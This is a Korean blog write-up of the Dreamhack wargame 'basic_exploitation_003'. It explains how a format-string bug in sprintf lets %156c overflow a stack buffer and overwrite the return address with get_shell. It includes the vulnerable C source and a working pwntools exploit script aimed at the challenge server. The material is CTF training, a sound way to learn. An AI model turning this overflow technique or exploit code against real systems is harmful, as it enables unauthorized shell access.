[드림핵 시스템 해킹] Wargame : basic_exploitation_003

asdf·2025년 1월 18일

pwnable

목록 보기
26/36

문제


풀이


취약점 분석

NX만 적용되어 있습니다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

basic_exploitation_002와 마찬가지로 get_shell 함수가 존재합니다.
read에서 heap_buf를 받은 후 이를 그대로 sprintf의 인자로 사용하기 때문에 포맷 스트링 버그를 사용할 수 있을 것 같습니다.
여기서 sprintf 함수에 대해 간단히 알아보겠습니다.

int sprintf(char *str, const char *format, ...);

format에 있는 문자열을 포맷 스트링 형식에 맞춰서 str에 저장하는 함수입니다.
%[n]c를 활용해서 원하는 길이의 문자열을 sprintf 함수를 통해 stack_buf에 전달할 수 있습니다. Canary가 적용되어 있지 않으므로 스택 버퍼 오버플로우를 통해 return address를 get_shell의 주소로 덮으면 문제를 해결할 수 있을 것 같습니다.

익스플로잇 실행


stack_buf의 위치는 ebp-0x98이므로 ret와의 거리는 0x98 + 0x4 = 156입니다. 따라서 stack_buf에 넣어야 하는 값은 b'A'*156 + p32(get_shell)입니다.
길이가 156인 더미 데이터는 포맷 스트링으로 %156c이므로 이를 활용해 heap_buf를 구성해 전달하면 해결할 수 있습니다.
아래는 완성된 코드입니다.

from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote("host1.dreamhack.games", 12895)
e = ELF("./basic_exploitation_003")

get_shell = e.symbols["get_shell"]

payload = b"%156c" + p32(get_shell)

p.sendline(payload)

p.interactive()

실행하면 셸을 얻을 수 있습니다.

profile
Rainy Waltz(a_hisa)

0개의 댓글